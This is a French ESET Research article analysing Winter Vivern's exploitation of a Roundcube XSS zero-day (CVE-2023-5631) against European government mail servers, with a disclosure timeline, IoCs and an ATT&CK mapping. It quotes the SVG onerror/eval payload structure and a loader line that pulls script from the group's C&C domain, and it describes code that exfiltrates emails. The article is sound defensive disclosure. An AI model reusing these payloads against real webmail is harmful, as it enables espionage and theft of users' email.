ESET Research suit de près les opérations de cyberespionnage de Winter Vivern depuis plus d'un an et, au cours de notre surveillance de routine, nous avons découvert que le groupe a commencé à exploiter une vulnérabilité XSS zero-day dans le serveur Webmail Roundcube le11 octobre 2023. Il s'agit d'une vulnérabilité différente de la CVE-2020-35730, qui a également été exploitée par le groupe selon nos recherches.

Selon les données télémétriques d'ESET, la campagne a ciblé des serveurs Webmail Roundcube appartenant à des entités gouvernementales et à un groupe de réflexion, tous situés en Europe.

Chronologie de la divulgation de la vulnérabilité :

  • 2023-10-12: ESET Research signale la vulnérabilité à l'équipe Roundcube.
  • 2023-10-14: L'équipe Roundcube a répondu et reconnu la vulnérabilité.
  • 2023-10-14: L'équipe Roundcube a corrigé la vulnérabilité.
  • 2023-10-16: L'équipe Roundcube a publié des mises à jour de sécurité pour corriger la vulnérabilité (1.6.4, 1.5.5, et 1.4.15).
  • 2023-10-18: ESET CNA publie un CVE pour la vulnérabilité(CVE-2023-5631).
  • 2023-10-25: Publication d'un article de blog d'ESET Research.

Nous tenons à remercier les développeurs de Roundcube pour leur réponse rapide et pour avoir corrigé la vulnérabilité dans un délai aussi court.

Profil de Winter Vivern

Winter Vivern est un groupe de cyberespionnage révélé pour la première fois par DomainTools en 2021. On pense qu'il est actif depuis au moins 2020 et qu'il cible les gouvernements d'Europe et d'Asie centrale. Pour compromettre ses cibles, le groupe utilise des documents malveillants, des sites web de phishing et une porte dérobée PowerShell personnalisée (voir les articles du Centre national de cyberprotection de l'Ukraine et de SentinelLabs). Nous pensons, avec un degré de confiance faible, que Winter Vivern est lié à MoustachedBouncer, un groupe sophistiqué allié à la Biélorussie dont nous avons parlé pour la première fois en août 2023.

Winter Vivern cible les serveurs de messagerie Zimbra et Roundcube appartenant à des entités gouvernementales depuis au moins 2022 - voir cet article de Proofpoint. En particulier, nous avons observé que le groupe a exploité la CVE-2020-35730, une autre vulnérabilité XSS dans Roundcube, en août et septembre 2023. Notez que Sednit (également connu sous le nom d'APT28) exploite également cette ancienne vulnérabilité XSS dans Roundcube, parfois contre les mêmes cibles.

Détails techniques

L'exploitation de la vulnérabilité XSS, assignée CVE-2023-5631, peut se faire à distance en envoyant un message électronique spécialement conçu. Dans cette campagne Winter Vivern, les courriels ont été envoyés depuis team.managment@outlook[.]com et avaient pour objet Get started in your Outlook, comme le montre la figure 1.

Figure-1-wintervivern-email
Figure 1. Message électronique malveillant

À première vue, l'e-mail ne semble pas malveillant, mais si nous examinons le code source HTML, illustré à la figure 2, nous pouvons voir une balise SVG à la fin, qui contient une charge utile encodée en base64.

Figure-2-winter-vivern-email-message
Figure 2. Message électronique contenant une balise SVG malveillante

Une fois que nous avons décodé la valeur encodée en base64 dans l'attribut href de la balise use, nous avons :

<svg id="x" xmlns="http://www.w3.org/2000/svg"> <image href="x" onerror="eval(atob('<base64-encoded payload>))" /></svg>

Comme l'argument x de l'attribut href n'est pas une URL valide, l'attribut onerror de cet objet sera activé. Le décodage de la charge utile dans l'attribut onerror nous donne le code JavaScript suivant (avec l'URL malveillante modifiée manuellement), qui sera exécuté dans le navigateur de la victime dans le contexte de sa session Roundcube :

var fe=document.createElement('script');fe.src="https://recsecas[.]com/controlserver/checkupdate.js";document.body.appendChild(fe) ;

De manière surprenante, nous avons remarqué que l'injection de JavaScript fonctionnait sur une instance de Roundcube entièrement patchée. Il s'est avéré qu'il s'agissait d'une vulnérabilité XSS zero-day affectant le script côté serveur rcube_washtml.php, qui ne nettoie pas correctement le document SVG malveillant avant de l'ajouter à la page HTML interprétée par un utilisateur de Roundcube. Nous l'avons signalée à Roundcube et elle a été corrigée le14 octobre 2023 (voir ce commit). La vulnérabilité affecte les versions de Roundcube 1.6.x avant 1.6.4, 1.5.x avant 1.5.5, et 1.4.x avant 1.4.15.

En résumé, en envoyant un message électronique spécialement conçu, les attaquants sont en mesure de charger un code JavaScript arbitraire dans le contexte de la fenêtre du navigateur de l'utilisateur de Roundcube. Aucune interaction manuelle autre que l'affichage du message dans un navigateur web n'est requise.

La deuxième étape est un simple chargeur JavaScript nommé checkupdate.js et est illustrée à la figure 3.

Figure-3-javascript-loader
Figure 3. Chargeur JavaScript

La charge utile JavaScript finale - illustrée à la figure 4 - est capable de répertorier les dossiers et les courriels du compte Roundcube actuel et d'exfiltrer les messages électroniques vers le serveur C&C en effectuant des requêtes HTTP vers https://recsecas[.]com/controlserver/saveMessage.

Figure-4-final-payload
Figure 4. Charge utile JavaScript finale exfiltrant les messages électroniques du compte Roundcube (une partie du script obscurci a été supprimée pour plus de clarté)

Conclusion

Le Vivern d'hiver a intensifié ses opérations en utilisant une vulnérabilité zero-day dans Roundcube. Auparavant, il utilisait des vulnérabilités connues dans Roundcube et Zimbra, pour lesquelles des preuves de concept sont disponibles en ligne.

Malgré le faible degré de sophistication de ses outils, le groupe constitue une menace pour les gouvernements européens en raison de sa persistance, de l'organisation très régulière de campagnes d'hameçonnage et du fait qu'un grand nombre d'applications Internet ne sont pas régulièrement mises à jour alors que l'on sait qu'elles contiennent des vulnérabilités.

IoCs

Fichiers

SHA-1

Filename

Detection

Description

97ED594EF2B5755F0549C6C5758377C0B87CFAE0

checkupdate.js

JS/WinterVivern.B

JavaScript loader.

8BF7FCC70F6CE032217D9210EF30314DDD6B8135

N/A

JS/Kryptik.BIK

JavaScript payload exfiltrating emails in Roundcube.

Réseau

IP

Domain

Hosting provider

First seen

Details

38.180.76[.]31

recsecas[.]com

M247 Europe SRL

2023-09-28

Winter Vivern C&C server

Adresses électroniques

team.managment@outlook[.]com

Techniques ATT&CK de MITRE

Ce tableau a été élaboré à l'aide de la version 13 du cadre ATT&CK de MITRE.

Tactic

ID

Name

Description

Resource Development

T1583.001

Acquire Infrastructure: Domains

Winter Vivern operators bought a domain at Registrar.eu.

T1583.004

Acquire Infrastructure: Server

Winter Vivern operators rented a server at M247.

T1587.004

Develop Capabilities: Exploits

Winter Vivern operators probably developed an exploit for Roundcube.

Initial Access

T1190

Exploit Public-Facing Application

Winter Vivern sent an email exploiting CVE‑2023-5631 in Roundcube.

T1566

Phishing

The vulnerability is triggered via a phishing email, which should be opened in the Roundcube webmail by the victim.

Execution

T1203

Exploitation for Client Execution

The JavaScript payload is executed by an XSS vulnerability in Roundcube.

Discovery

T1087.003

Account Discovery: Email Account

The JavaScript payload can list folders in the email account.

Collection

T1114.002

Email Collection: Remote Email Collection

The JavaScript payload can exfiltrate emails from the Roundcube account.

Command and Control

T1071.001

Application Layer Protocol: Web Protocols

C&C communications use HTTPs.

Exfiltration

T1041

Exfiltration Over C2 Channel

Exfiltration is done via HTTPs and to the same C&C server.